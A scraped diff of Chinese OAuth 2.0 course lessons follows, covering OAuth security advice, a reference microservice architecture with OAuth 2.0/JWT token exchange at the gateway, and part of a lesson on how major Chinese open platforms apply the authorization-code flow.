+　　但是，到这里并没有万事大吉，我们只是解决了 OAuth 2.0 的基础使用的问题。要想用好、用对这个协议，成长为这个协议的应用专家，我们还必须关注 OAuth 2.0 的安全问题。
+
+　　我们在实践 OAuth 2.0 的过程中，还必须按照规范建议来执行，否则便会引发一系列的安全问题。这也往往导致有的同学会发出这样的疑问，OAuth 2.0 不是安全的吗？它不是一直在保护着互联网上成千上万个 Web API 吗，我们不也说它是一种安全协议吗？
+
+　　首先我们说 OAuth 2.0 是安全协议没问题，但如果使用不当也会引起安全上的问题。比如，我们在[第 8 讲]中提到了一个很广泛的跨站请求伪造问题。之所以出现这样的安全问题，就是因为我们没有遵循 OAuth 2.0 的使用建议，比如没有使用 state 这样的参数来做请求的校验，或者是没有遵循授权码 code 值只能使用一次，并且还要清除使用过的 code 值跟 token 值之间的绑定关系的建议。
+
+　　在安全问题上，其实我们一直都没有特别说明一点，那就是在使用 OAuth 2.0 的流程中，我们的 HTTP 通信要使用 HTTPS 协议来保护数据传输的安全性。这是因为 OAuth 2.0 支持的 bearer 令牌类型，也就是任意字符串格式的令牌，并没有提供且没有要求使用信息签名的机制。
+
+　　你可能会说，JWT 令牌有这样的加密机制啊。但其实，这也正说明了 OAuth 2.0 是一个没有约束普通令牌的规则，所以才有了 JWT 这样对 OAuth 2.0 的额外补充。
+
+　　实际上，JWT 跟 OAuth 2.0 并没有直接关系，它只是一种结构化的信息存储，可以被用在除了 OAuth 2.0 以外的任何地方。比如，重置密码的时候，会给你的邮箱发送一个链接，这个链接就需要能够标识出用户是谁、不能篡改、有效期 5 分钟，这些特征都跟 JWT 相符合。也就是说，JWT 并不是 OAuth 2.0 协议规范所涵盖的内容。
+
+　　OAuth 2.0 似乎没有自己的规则约束机制，或者说只有比较弱的约束，但其实不是不约束，而是它就致力于做好授权框架这一件事儿。通过我们前面的学习，也可以验证出它的确很好地胜任了这项工作。
+
+　　除此之外，OAuth 2.0 都是用开放的心态来提供基础的支持，比如[第 9 讲]中的 OpenID Connect（OIDC）身份认证协议框架。这种开放的方式，使得我们可以用“OAuth 2.0+ 另外一个技术”来变成一个新的技术。这就是一个伟大的、可操作的组合了，可以解决不同场景的需求。
+
+　　也许正是因为 OAuth 2.0 可以支持类似 OIDC 这样的身份认证协议，导致我们总是“坚持”认为 OAuth 2.0 是一种身份认证协议。当然了，OAuth 2.0 并不是身份认证协议，我在第 9 讲中用“面粉”和“面包”来类比 OAuth 2.0 和 OIDC 的关系。
+
+　　这里我再解释一下。究竟是什么原因导致了我们对 OAuth 2.0 有这样的 “误解” 呢？我想大概原因是，OAuth 2.0 中确实包含了身份认证的内容，即授权服务需要让用户登录以后才可以进行用户确认授权的操作。
+
+　　但这样的流程，仅仅是 OAuth 2.0 涉及到了身份认证的行为，还不足以让 OAuth 2.0 成为一个真正的用户身份认证协议。因为 OAuth 2.0 关心的只有两点，颁发令牌和使用令牌，并且令牌对第三方软件是不透明的；同时，受保护资源服务也不关心是哪个用户来请求，只要有合法的令牌 “递” 过来，就会给出正确的响应，把数据返回给第三方软件。
+
+　　以上，就是与 OAuth 2.0 安全问题息息相关的内容了。讲到这里，希望你可以按照自己的理解，融会贯通 OAuth 2.0 的这些核心知识了。接下来，我再和你分享一个我在实践 OAuth 2.0 过程中感触最深的一个问题吧。
+
+再强调都不为过的安全意识
+
+　　根据我在开放平台上这些年的工作经验，安全意识是实践 OAuth 2.0 过程中，再怎么强调都不为过的问题。
+
+　　因为总结起来，要说使用 OAuth 2.0 的过程中如果能有哪个机会让你“栽个大跟头”的话，那这个机会一定是在安全上：OAuth 2.0 本就是致力于保护开放的 Web API，保护用户在平台上的资源，如果因为 OAuth 2.0 使用不当而造成安全问题，确实是一件非常 “丢人” 的事情。
+
+　　而 OAuth2.0 的流程里面能够为安全做贡献的只有两方，一方是第三方软件，一方是平台方。在安全性这个问题上，第三方软件开发者的安全意识参差不齐。那针对这一点，就需要平台方在其官方文档上重笔描述，并给出常见安全漏洞相应的解决方案。同时，作为平台方的内部开发人员，对安全的问题同样不能忽视，而且要有更高的安全意识和认知。
+
+　　只有第三方软件开发者和平台方的研发人员共同保有较高的安全意识，才能让“安全的墙”垒得越来越高，让攻击者的成本越来越高。因为安全的本质就是成本问题。
+
+　　你看，我花了这么大的篇幅来和你讲解 OAuth 2.0 的安全问题，并单独分析了安全意识，是不是足以凸显安全性这个问题的重要程度了。没错儿，这也是你能用好 OAuth 2.0 的一个关键标志。
+
+总结
+
+　　好了，以上就是我们今天的主要内容了。我希望你能记住以下三点：
+
+　　OAuth 2.0 是一个授权协议，它通过访问令牌来表示这种授权。第三软件拿到访问令牌之后，就可以使用访问令牌来代表用户去访问用户的数据了。所以，我们说授权的核心就是获取访问令牌和使用访问令牌。
+
+　　OAuth 2.0 是一个安全协议，但是如果你使用不当，它并不能保证一定是安全的。如果你不按照 OAuth 2.0 规范中的建议来实施，就会有安全风险。比如，你没有遵循授权服务中的授权码只能使用一次、第三方软件的重定向 URL 要精确匹配等建议。
+
+　　安全防护的过程一直都是“魔高一尺道高一丈”，相互攀升的过程。因此，在使用 OAuth 2.0 的过程中，第三方软件和平台方都要有足够的安全意识，来把“安全的墙”筑得更高。
+
+　　最后我想说的是，无论你使用 OAuth 2.0 目的是保护 API，还是作为用户身份认证的基础，OAuth 2.0 都只是解决这些问题的一种工具。而掌握 OAuth 2.0 这种工具的原理及其使用场景，将会帮助你更高效、更优雅地解决这些问题。
+
+思考题
+
+　　如果你是一名第三方软件的开发人员，你觉得应该如何提高自己的安全意识呢？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/12架构案例：基于OAuth2.0_JWT的微服务参考架构.md

@@ -0,0 +1,237 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            12 架构案例：基于OAuth 2.0_JWT的微服务参考架构
+                            　　在前面几讲，我们一起学习了 OAuth 2.0 在开放环境中的使用过程。那么 OAuth 2.0 不仅仅可以用在开放的场景中，它可以应用到我们任何需要授权 / 鉴权的地方，包括微服务。
+
+　　因此今天，我特别邀请了我的朋友杨波，来和你分享一个基于 OAuth 2.0/JWT 的微服务参考架构。杨波，曾先后担任过携程框架部的研发总监和拍拍贷基础架构部的研发总监，在微服务和 OAuth 2.0 有非常丰富的实践经验。
+
+　　其中，在携程工作期间，他负责过携程的 API 网关产品的研发工作，包括它和携程的令牌服务的集成；在拍拍贷工作期间，他负责过拍拍贷的令牌服务的研发和运维工作。这两家公司的令牌服务和 OAuth 2.0 类似，但要更简单些。
+
+　　接下来，我们就开始学习杨波老师给我们带来的内容吧。
+
+　　你好，我是杨波。
+
+　　从单体到微服务架构的演进，是当前企业数字化转型的一大趋势。OAuth 2.0是当前业界标准的授权协议，它的核心是若干个针对不同场景的令牌颁发和管理流程；而JWT是一种轻量级、自包含的令牌，可用于在微服务间安全地传递用户信息。
+
+　　据我目前了解到的情况，虽然有不少企业已经部分或全部转型到微服务架构，但是在授权认证机制方面，它们一般都是定制自研的，比方说携程和拍拍贷的令牌服务。之所以定制自研，主要原因在于标准的 OAuth 2.0 协议相对比较复杂，门槛也比较高。定制自研固然可以暂时解决企业的问题，但是不具备通用性，也可能有很多潜在的安全风险。
+
+　　那么，到底应该如何将行业标准的 OAuth 2.0/JWT 和微服务集成起来呢，又有没有可落地的参考架构呢？
+
+　　我认为，Thijs 给出的架构确实具有可落地性和参考价值，但是他的架构里面对某些微服务层次的命名，例如 BFF 和 Facade 层，和目前主流的微服务架构不符，还有他的架构应该是手绘，不够清晰，也不容易理解。为此，我专门用今天这一讲，来改进 Thijs 给出的架构，并补充针对不同场景的流程。
+
+　　为了方便理解，在接下来的讲述中，我会假定有这样一家叫 ACME 的新零售公司，它已经实现了数字化转型，微服务电商平台是支持业务运作的核心基础设施。
+
+　　在业务架构方面，ACME 有近千家线下门店，这些门店通过 POS 系统和电商平台对接。公司还有一些物流发货中心，拣选（Order Picking）系统也要和电商平台对接。另外，公司还有很多送货司机，通过 App 和电商平台对接。当然，ACME 还有一些电商网站，做线上营销和销售，这些网站是电商平台的主要流量源。
+
+　　虽然支持 ACME 公司业务运作的技术平台很复杂，但是它的核心可以用一个简化的微服务架构图来描述：
+
+　　
+
+　　可以看出，这个微服务架构是运行在 Kubernetes 集群中的。当然了，这个架构实际上并不一定需要 Kubernetes 环境，用传统数据中心也可以。另外，它的整体认证授权架构是基于 OAuth 2.0/JWT 实现的。
+
+　　接下来，我按这个微服务架构的分层方式，依次和你分析下它的每一层，以及应用认证 / 授权和服务调用的相关流程。这样，你不仅可以理解一个典型的微服务架构该如何分层，还可以弄清楚 OAuth 2.0/JWT 该如何与微服务进行集成。
+
+微服务分层架构
+
+　　ACME 公司的微服务架构，大致可以分为 Nginx 反向代理层、Web 应用层、Gateway 网关层、BEF 层和领域服务层，还包括一个 IDP 服务。总体上讲，这是一种目前主流的微服务架构分层方式，每一层职责单一、清晰。
+
+　　接下来，我们具体看看每一层的主要功能。
+
+Nginx 反向代理层
+
+　　首先，Nginx 集群是整个平台的流量入口。Nginx 是 7 层 HTTP 反向代理，主要功能是实现反向路由，也就是将外部流量根据 HOST 主机头或者 PATH，路由到不同的后端，比方说路由到 Web 应用，或者直接到网关 Gateway。
+
+　　在 Kubernetes 体系中，Nginx 是和 Ingress Controller（入口控制器）配合工作的（总称为 Nginx Ingress），Ingress Controller 支持通过 Ingress Rules，配置 Nginx 的路由规则。
+
+Web 应用层
+
+　　这一层主要是一些 Web 应用，html/css/js 等资源就住在这一层。
+
+　　Web 服务层通常采用传统的 Web MVC + 模版引擎方式处理，可以实现服务器端渲染，也可以采用单页 SPA 方式。这一层主要由公司的前端团队负责，通常会使用 Node.js 技术栈来实现，也可以采用 Spring MVC 技术栈实现。具体怎么实现，要看公司的前端团队更擅长哪种技术。当这一层需要后台数据时，可以通过网关调用后台服务获取数据。
+
+Gateway 网关层
+
+　　这一层是微服务调用流量的入口。网关的主要职责是反向路由，也就是将前端请求根据 HOST 主机头、或者 PATH、或者查询参数，路由到后端目标微服务（比如，图中的 IDP/BFF 或者直接到领域服务)。
+
+　　另外，网关还承担两个重要的安全职责：
+
+　　一个是令牌的校验和转换，将前端传递过来的 OAuth 2.0 访问令牌，通过调用 IDP 进行校验，并转换为包含用户和权限信息的 JWT 令牌，再将 JWT 令牌向后台微服务传递。
+
+　　另外一个是权限校验，网关的路由表可以和 OAuth 2.0 的 Scope 进行关联。这样，网关根据请求令牌中的权限范围 Scope，就可以判断请求是否具有调用后台服务的权限。
+
+　　关于安全相关的场景和流程，我会在下一章节做进一步解释。
+
+　　另外，网关还需承担集中式限流、日志监控，以及支持 CORS 等功能。
+
+　　对于网关层的技术选型，当前主流的 API 网关产品，像 Netflix 开源的 Zuul、Spring Cloud Gateway 等，都可以考虑。
+
+IDP 服务
+
+　　IDP 是 Identity Provider 的简称，主要负责 OAuth 2.0 授权协议处理，OAuth 2.0 和 JWT 令牌颁发和管理，以及用户认证等功能。IDP 使用后台的 Login-Service 进行用户认证。
+
+　　对于 IDP 的技术选型，当前主流的 Spring Security OAuth，或者 RedHat 开源的 KeyCloak，都可以考虑。其中，Spring Security OAuth 是一个 OAuth 2.0 的开发框架，适合企业定制。KeyCloak 则是一个开箱即用的 OAuth 2.0/OIDC 产品。
+
+BFF 层
+
+　　BFF 是 Backend for Frontend 的简称，主要实现对后台领域服务的聚合（Aggregation，有点类似数据库的 Join）功能，同时为不同的前端体验（PC/Mobile/ 开放平台等）提供更友好的 API 和数据格式。
+
+　　BFF 中可以包含一些业务逻辑，甚至还可以有自己的数据库存储。通常，BFF 要调用两个或两个以上的领域服务，甚至还可能调用其它的 BFF（当然一般并不建议这样调用，因为这样会让调用关系变得错综复杂，无法理解）。
+
+　　如果 BFF 需要获取调用用户或者 OAuth 2.0 Scope 相关信息，它可以从传递过来的 JWT 令牌中直接获取。
+
+　　BFF 服务可以用 Node.js 开发，也可以用 Java/Spring 等框架开发。
+
+领域服务层
+
+　　领域服务层在整个微服务架构的底层。这些服务包含业务逻辑，通常有自己独立的数据库存储，还可以根据需要调用外部的服务。
+
+　　根据微服务分层原则，领域服务禁止调用其它的领域服务，更不允许反向调用 BFF 服务。这样做是为了保持微服务职责单一（Single Responsibility）和有界上下文（Bounded Context），避免复杂的领域依赖。领域服务是独立的开发、测试和发布单位。在电商领域，常见的领域服务有用户服务、商品服务、订单服务和支付服务等。
+
+　　和 BFF 一样，如果领域服务需要获取调用用户或者 OAuth 2.0 Scope 相关信息，它可以从传递过来的 JWT 令牌中直接获取。
+
+　　可以看到，领域服务和 BFF 服务都是无状态的，它们本身并不存储用户状态，而是通过传递过来的 JWT 数据获取用户信息。所以在整个架构中，微服务都是无状态、可以按需水平扩展的，状态要么存在用户端（浏览器或者手机 App 中），要么存在集中的数据库中。
+
+OAuth 2.0/JWT 如何与微服务进行集成？
+
+　　以上，就是 ACME 公司的整个微服务架构的层次了。这个分层架构，对于大部分的互联网业务系统场景都适用。因此，如果你是一家企业的架构师，需要设计一套微服务架构，完全可以参考它来设计。接下来，我再演示几个典型的应用认证场景，以及相应的服务调用流程，来帮助你理解 OAuth 2.0/JWT 是如何和微服务进行集成的。
+
+场景 1：第一方 Web 应用 + 资源拥有者凭据模式
+
+　　这个场景是用户访问 ACME 公司自己的电商网站，假设这个电商网站是用 Spring MVC 开发的。考虑到这是一个第一方场景（也就是公司自己开发的网站应用），我们可以选 OAuth 2.0 的资源拥有者凭据许可（Resource Owner Password Credentials Grant），也可以选更安全的授权码许可（Authorization Code Grant）。因为这里没有第三方的概念，所以我们就选相对简单的资源拥有者凭据许可。
+
+　　下面是一个认证授权流程样例。注意，这个只是突出了关键步骤，实际生产的话，还有很多需要完善和优化的地方。另外，为描述简单，这里假定一个成功流程。
+
+　　
+
+　　在上面的图中，用户对应 OAuth 2.0 中的资源拥有者，ACME IDP 对应 OAuth 2.0 中的授权服务。另外，前面架构图中的后台微服务（包括 BFF 和基础领域服务），对应 OAuth 2.0 中的受保护资源。
+
+　　下面是流程说明：
+
+　　用户通过浏览器访问 ACME 公司的电商网站，点击登录链接。
+
+　　Web 应用返回登录界面（这个登录页可以是网站自己定制开发）。
+
+　　Web 应用将用户名、密码，通过网关转发到 IDP 的令牌获取端点（POST /oauth2/token，grant_type=password）。
+
+　　IDP 通过 Login Service 对用户进行认证。
+
+　　IDP 认证通过，返回有效访问令牌（根据需要也可以返回刷新令牌）。
+
+　　Web 应用接收到访问令牌，创建用户 Session，并将 OAuth 2.0 令牌保存其中，然后返回登录成功到用户端。
+
+　　用户浏览器中记录 Session Cookie，登录成功。
+
+　　那接下来，我们再来看看认证授权之后的服务调用流程。同样，这里也只是突出了关键步骤，并假定是一个成功流程。
+
+　　
+
+　　Web 应用通过网关调用后台 API（查询用户的购物历史记录），请求 HTTP header 中带上 OAuth 2.0 令牌（来自用户 Session）。
+
+　　网关截取 OAuth 2.0 令牌，去 IDP 进行校验。
+
+　　IDP 校验令牌通过，再通过令牌查询用户和 Scope 信息，构建 JWT 令牌，返回。
+
+　　网关获得 JWT 令牌，校验 Scope 是否有权限调用 API，如果有就转发到后台 API 进行调用。
+
+　　后台 BFF（或者领域服务）通过传递过来的 JWT 获取用户信息，根据用户 ID 查询购物历史记录，返回。
+
+　　Web 应用获得用户的购物历史数据，可以根据需要缓存在 Session 中，再返回用户端。
+
+　　注意，这个服务调用流程，也可以应用在其他场景中，比如我们接下来要学习的“第一方移动应用 + 授权码许可模式”和“第三方 Web 应用 + 授权码许可模式”。基本上只要你理解了这个流程原理，就可以根据实际场景灵活套用。
+
+场景 2：第一方移动应用 + 授权码许可模式
+
+　　那接下来，我们来看看这个认证授权的流程。同样，这里只是突出了关键步骤，并假定是一个成功流程。
+
+　　
+
+　　App 生成 PKCE 相关的 code verifier + challenge。
+
+　　App 以内嵌方式启动手机浏览器，访问 IDP 的统一认证页 (GET /authorize)，请求带上 PKCE 的 code challenge 相关参数。
+
+　　IDP 通过 Login Service 对用户进行认证。
+
+　　App 截取浏览器带回的授权码，将授权码 +PKCE code verifer，通过网关转发到 IDP 的令牌获取端点（POST /oauth2/token, grant_type=authorization-code）。
+
+　　IDP 校验 PKCE 和授权码，校验通过则返回有效访问令牌。
+
+　　之后，App 如果需要和后台交互，可直接通过网关调用后台微服务，请求 HTTP header 中带上 OAuth 2.0 访问令牌即可。后续的服务调用流程，和“第一方应用 + 资源拥有者凭据模式”类似。
+
+场景 3：第三方 Web 应用 + 授权码模式
+
+　　第三个场景是某第三方合作厂商开发了一个 Web 网站，要访问 ACME 公司的电商开放平台 API。这是一个第三方 Web 应用场景，通常选用 OAuth 2.0 的授权码许可模式。
+
+　　那接下来，我们来看看这个认证授权的流程。同样，这里只是突出了关键步骤，并假设是一个成功流程。
+
+　　
+
+　　Web 应用后台向 ACME 公司的 IDP 服务发送申请授权码请求（GET /authorize）。
+
+　　用户被重定向到 ACME 公司的 IDP 统一登录页面。
+
+　　IDP 通过 Login Service 对用户进行认证。
+
+　　Web 应用获得授权码，再向 IDP 服务的令牌获取端点发起请求（POST /oauth2/token, grant_type=authorization-code）。
+
+　　IDP 校验授权码，校验通过则返回有效 OAuth 2.0 令牌（根据需要也可以返回刷新令牌）。
+
+　　Web 应用创建用户 Session，将 OAuth 2.0 令牌保存在 Session 中，然后返回登录成功到用户端。
+
+　　用户浏览器中记录 Session Cookie，登录成功。
+
+　　之后，第三方 Web 应用如果需要和 ACME 电商平台交互，可直接通过网关调用微服务，请求 HTTP header 中带上 OAuth 2.0 访问令牌即可。后续的服务调用流程，和前面的“第一方应用 + 资源拥有者凭据模式”类似。
+
+额外说明
+
+　　除了上面的三个主要场景和流程，我还要和你分享 6 点。这 6 点是对上面基本流程的补充，也是企业级的 OAuth 2.0 应用要额外考虑的。
+
+　　第一点是，IDP 的 API 要支持从 OAuth 2.0 访问令牌到 JWT 令牌的互转。今天我们提到的集成架构采用 OAuth 2.0 访问令牌 + JWT 令牌的混合模式，中间需要实现 OAuth 2.0 访问令牌到 JWT 令牌的互转。这个互转 API 并非 OAuth 2.0 的标准，有些 IDP 产品（比方 Spring Security OAuth）可能并不支持，因此需要用户定制扩展。
+
+　　第二点是，关于单页 SPA 应用场景。关于单页 SPA 应用场景，简单做法是采用隐式许可，但是这个模式是 OAuth 2.0 中比较不安全的，所以一般不建议采用。对于纯单页 SPA 应用，业界推荐的做法是：
+
+　　如果浏览器支持 Web Crypto for PKCE，则可以考虑使用类似“第一方移动应用”场景下的授权码许可 +PKCE 扩展流程；
+
+　　否则，考虑 SPA+ 传统 Web 混合（hybrid）模式，前端页面可以住在客户浏览器端中，但登录认证还是由后台 Web 站点配合实现，走类似“第一方 Web 应用”场景的资源拥有者凭据模式，或者“第三方 Web 应用”场景下的授权码许可模式。
+
+　　第三点是，关于 SSO 单点登录场景。为了简化描述，上面的流程没有考虑 SSO 单点登录场景。如果要支持 Web SSO，那么各种应用场景都必须通过浏览器 +IDP 登录页集中登录，并且 IDP 要支持 Session，用于维护登录态。如果 IDP 以集群方式部署的话，还要考虑粘性 Sticky Session 或者集中式 Session。
+
+　　这样，当用户通过一个 Web 应用登录后，后续如果再用其它 Web 应用登录的话，只要 IDP 上的 Session 还存在，那么这个登录就可以自动完成，相当于单点登录。
+
+　　当然，如果要支持 SSO，IDP 的 Session Cookie 要种在 Web 应用的根域上，也就是说不同 Web 应用的根域必须相同，否则会有跨域问题。
+
+　　第四点是关于 IDP 和网关的部署方式。前面的几张架构图中，IDP 虽然躲在网关后面，但实际上 IDP 可以直接通过 Nginx 对外暴露，不经过网关。或者，IDP 的登录授权页面，可以通过 Nginx 直接暴露，API 接口则走网关。
+
+　　第五点是关于刷新令牌。为了简化描述，上面的流程没有详细说明刷新令牌的集成方式。企业根据场景需要，可以启用刷新令牌，来延长用户的登录时间，具体的集成方式需要考虑安全性的需求。
+
+　　第六点是关于 Web Session。为了简化描述，在上面的流程中，Web 应用登录成功后假设启用 Web Session，也就是服务器端 Session。在实际场景中，Web Session 并非唯一选择，也可以采用简单的客户端 Session 方式，也称无状态 Session，也就是在客户端浏览器 Cookie 中保存 OAuth 2.0 访问令牌。
+
+小结
+
+　　好了，以上就是今天的主要内容了。今天，我和你分享了如何将行业标准的 OAuth 2.0/JWT 和微服务集成起来，你需要记住以下四点。
+
+　　第一，目前主流的微服务架构大致可以分为 5 层，分别是：Nginx 流量接入层 ->Web 应用层 ->API 网关层 ->BFF 聚合层 -> 领域服务层。这个架构可以住在云原生的 Kubernetes 环境中，也可以住在传统数据中心里头。
+
+　　第二，API 网关是微服务调用的入口，承担重要的安全认证和鉴权功能。主要的安全操作包括：一，通过 IDP 校验 OAuth 2.0 访问令牌，并获取带用户和权限信息的 JWT 令牌；二，基于 OAuth 2.0 的 Scope 对 API 调用进行鉴权。
+
+　　第三，在微服务架构体系下，通常需要一个集中的 IDP 服务，它相当于一个 Authentication & Authorization as a Service 角色，负责令牌颁发 / 校验 / 管理，还有用户认证。
+
+　　第四，在今天这一讲提出的架构中，Web 应用层（网关之前）的安全机制主要基于 OAuth 2.0 访问令牌实现（它是一种透明令牌或者称引用令牌），微服务层（网关之后）的安全机制主要基于 JWT 令牌实现（它是一种不透明的自包含令牌）。网关层在中间实现两种令牌的转换。这是一种 OAuth 2.0 访问令牌 +JWT 令牌的混合模式。
+
+　　之所以这样设计，是因为 Web 层靠近用户端，如果采用 JWT 令牌，会暴露用户信息，有一定的安全风险，所以采用 OAuth 2.0 访问令牌，它是一个无意义随机字符串。而在网关之后，安全风险相对低，同时很多服务需要用户信息，所以采用自包含用户信息的 JWT 令牌更合适。
+
+　　当然，如果企业内网没有特别的安全考量，也可以直接传递完全透明的用户信息（例如使用 JSON 格式）。
+
+思考题
+
+　　除了今天我们讲到的 OAuth 2.0 访问令牌 +JWT 令牌的混合模式，实践中也可以全程采用 OAuth 2.0 访问令牌，或者全程采用 JWT 令牌。对比混合模式，如果全程采用 OAuth 2.0 访问令牌，或者全程采用 JWT 令牌，你觉得有哪些利弊呢？
+
+　　你可以说说自己对基于传统 Web 应用的认证授权机制的理解吗？并对比今天讲到的现代微服务的认证授权机制，你可以说说它们之间的本质差异和相似点吗？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/13各大开放平台是如何使用OAuth2.0的？.md

@@ -0,0 +1,151 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            13 各大开放平台是如何使用OAuth 2.0的？
+                            　　你好，我是王新栋。
+
+　　在咱们这门课中，我提到了很多次“开放平台”，不难理解，它的作用就是企业把自己的业务能力主要以开放 API 的形式，赋能给外部开发者。而作为第三方开发者或者 ISV（独立软件供应商）在接入这些开放平台的时候，我们最应该关心的就是它们的官方文档，关注接入的流程是怎样的、对应的 API 是什么、每个 API 都传递哪些参数，也就差不多够了。
+
+　　到这里，你会发现“开放平台的官方文档”会是一个关键点。不过呢，当你去各大开放平台上面看这些文档的时候，就会发现这些文档非常分散。
+
+　　其中的原因也很简单，那就是开放平台为了让已经具备 OAuth 2.0 知识的研发人员去快速地对接平台上面的业务，把各类对接流程做了分类归档。比如，你会发现微信开放平台上有使用授权码获取授权信息的文档，也有获取令牌的文档，但并没有一份整体的、能够串起来的文档说明。从我的角度来看，这其实也就间接提高了使用门槛，因为如果你不懂 OAuth 2.0，基本是没办法理解那些分类的。
+
+　　那么，今天我就借着这个点，和你说说以京东、微信、支付宝、美团为代表的各大开放平台是如何使用 OAuth 2.0 的。理解了这个问题，你以后再对接一个开放平台、再阅读一份官方对接文档时，就更能明白它们的底层逻辑了。
+
+　　在正式介绍各大开放平台的使用细节之前，我们先来看看大厂的开放平台全局体系。据我观察，各个开放平台基本的系统结构和授权系统在中间的交互流程，大同小异，都是通过授权服务来授权，通过网关来鉴权。所以接下来，我就以京东商家开放平台为例，来和你说说开放平台的体系到底是什么样子的。
+
+开放平台体系是什么样子的？
+
+　　我们首先来看一下京东商家开放平台全局体系的结构，如下图所示。
+
+　　
+
+　　图1 京东商家开放平台体系结构示意图
+
+　　我们可以把这个架构体系分为三部分来看：
+
+　　第三方软件，一般是指第三方开发者或者 ISV 通过对接开放平台来实现的应用软件，比如小兔打单软件。
+
+　　京东商家开放平台，包含 API 网关服务、OAuth 2.0 授权服务和第三方软件开发者中心服务。其中，API 网关服务和 OAuth 2.0 授权服务，是开放平台的“两条腿”；第三方软件开发者中心服务，是为开发者提供管理第三方软件应用基本信息的服务，比如 app_id、app_secret 等信息。
+
+　　京东内部的各个微服务，比如订单服务、商品服务等。这些微服务，就是我们之前提到的受保护资源服务。
+
+　　从图中我们还可以看到这个体系整体的调用关系是：第三方软件通过 HTTP 协议请求到开放平台，更具体地说是开放平台的 API 网关服务，然后由 API 网关通过内部的 RPC 调用到各个微服务。
+
+　　接下来，我们再以用户小明使用小兔打单软件为例，来看看这些系统角色之间具体又是怎样交互的？
+
+　　
+
+　　图2 开放平台体系交互示意图
+
+　　到这里，我们可以发现，在开放平台体系中各个系统角色间的交互可以归结为：
+
+　　当用户小明访问小兔软件的时候，小兔会首先向开放平台的 OAuth 2.0 授权服务去请求访问令牌，接着小兔拿着访问令牌去请求 API 网关服务；
+
+　　在 API 网关服务中，会做最基本的两种校验，一种是访问令牌的合法性校验，比如访问令牌是否过期的校验，另一种是小兔打单软件的基本信息的合法性校验，比如 app_id 和 app_secret 的校验；
+
+　　都校验成功之后，API 网关服务会发起最终的数据请求。
+
+　　这里需要说明的是，在[第 5 讲]中我们提到，验证访问令牌或者第三方软件应用信息的时候，都是在受保护资源服务中去做的。当有了 API 网关这一层的时候，这些校验工作就会都落到了 API 网关的身上，因为我们不能让很多个受保护资源服务做同样的事情。
+
+　　我们理解了京东商家开放平台的体系结构后，可以小结下了。依靠开放平台提供的能力，可以说开放平台、用户和开发者实现了三赢：小明因为使用小兔提高了打单效率；小兔的开发者因为小明的订购服务获得了收益；而通过开放出去的 API 让小兔帮助小明能够极快地处理 C 端用户的订单，京东提高了用户的使用体验。
+
+　　但同时呢，开放也是一把双刃剑。理想状态下，平台、开发者、用户可以实现三赢，但正如我们在[第 8 讲]和[第 10 讲]中提到的，安全的问题绝不容忽视，而用户的信息安全又是重中之重。接下来，我就和你分享一个，开放平台体系是如何解决访问令牌安全问题的案例。
+
+　　我们已经知道，用户给第三方软件授权之后，授权服务就会生成一个访问令牌，而且这个访问令牌是跟用户关联的。比如，小明给小兔打单软件进行了授权，那么此时访问令牌的粒度就是：小兔打单软件 + 小明。
+
+　　我们还知道了，小兔打单软件可以拿着这个访问令牌去代表小明访问小明的数据；如果访问令牌过期了，小兔打单软件还可以继续使用刷新令牌来访问，直到刷新令牌也过期了。
+
+　　现在问题来了，如果小明注销了账号，或者修改了自己的密码，那他之前为其它第三方软件进行授权的访问令牌就应该立即失效。否则，在刷新令牌过期之前，第三方软件可以一直拿着之前的访问令牌去请求数据。这显然不合理。
+
+　　所以在这种情况下，授权服务就要通过 MQ（消息队列）接收用户的注销和修改密码这两类消息，然后对访问令牌进行清理。
+
+　　
+
+　　图3 访问令牌的清理
+
+　　其实，这个案例中解决访问令牌安全问题的方式，不仅仅适用于开放平台，还可以为你在企业内构建自己的 OAuth 2.0 授权体系结构时提供借鉴。
+
+　　以上就是开放平台整体的结构，以及其中需要重点关注的用户访问令牌的安全性问题了。我们作为第三方软件开发者，在对接到这些开放平台或者浏览它们的网站时，几乎都能看到类似这样的一句话：“所有接口都需要接入 OAuth 授权，经过用户确认授权后才可以调用”，这正是 OAuth 2.0 的根本性作用。
+
+　　理解了开放平台的脉络之后，接下来，就让我们通过一组图看一看开放平台是如何使用 OAuth 2.0 授权流程的吧。
+
+各大开放平台授权流程
+
+　　我们以微信、支付宝、美团为例，看看它们在开放授权上是如何使用 OAuth 2.0 的。我们首先看一下官方的授权流程图：
+
+　　
+
+　　图4 微信开放平台授权流程图
+
+　　
+
+　　图5 支付宝开放平台授权流程图
+
+　　
+
+　　图6 美团开放平台授权流程图
+
+　　我们可以在这三张授权流程图中看到，都有和授权码 code 相关的文字。这就说明，它们都建议开发者首选授权码流程。所以，你现在更能明白我为啥在这门课里要花这么多篇幅，来和你讲授权码许可相关的内容了吧。
+
+　　在这一讲最开始我也提到了，我们作为开发者在对接开放平台的时候，最关心的就是它们提供的官方对接文档了。而这些文档里面，最让人头疼就是那些通信过程中需要传递的参数了。下面我会带着你从我的角度，以京东商家开放平台为例，给你串下这些参数背后的含义，以及关键点。这样你在做具体接入操作的时候，就可以举重若轻了。
+
+授权码流程中的参数说明
+
+　　概括来讲，在京东商家开放平台的授权服务这一侧，提供服务的就是两个端点：负责生成授权码的授权端点以及负责颁发访问令牌的令牌端点。整个授权过程中，虽然看着有很多参数，但你可以围绕这两条线，来对它们做归类。
+
+　　接下来，我们继续以小兔打单软件为例，来看一下它在对接京东商家开放平台的时候都用到了哪些参数。
+
+　　小明在使用小兔打单软件的时候，首先被小兔通过重定向的方式引导到京东商家开放平台的授权服务上，其实就是引导到了授权服务的授权端点上。这个重定向的过程中用到的参数如下：
+
+　　
+
+　　图7 重定向过程用到的参数
+
+　　这里需要强调的是，对于 state 参数，现在官方都是“推荐”使用。我们在[第 8 讲]中说过，OAuth 2.0 官方建议的避免 CSRF 攻击的方式，就是使用 state 参数。所以安全起见，你还是应该使用。
+
+　　接着，京东商家开放平台授权服务的授权端点，会向小兔软件做出响应。这个响应的过程用到的基本参数，如下：
+
+　　
+
+　　图8 授权端点响应小兔软件用到的参数
+
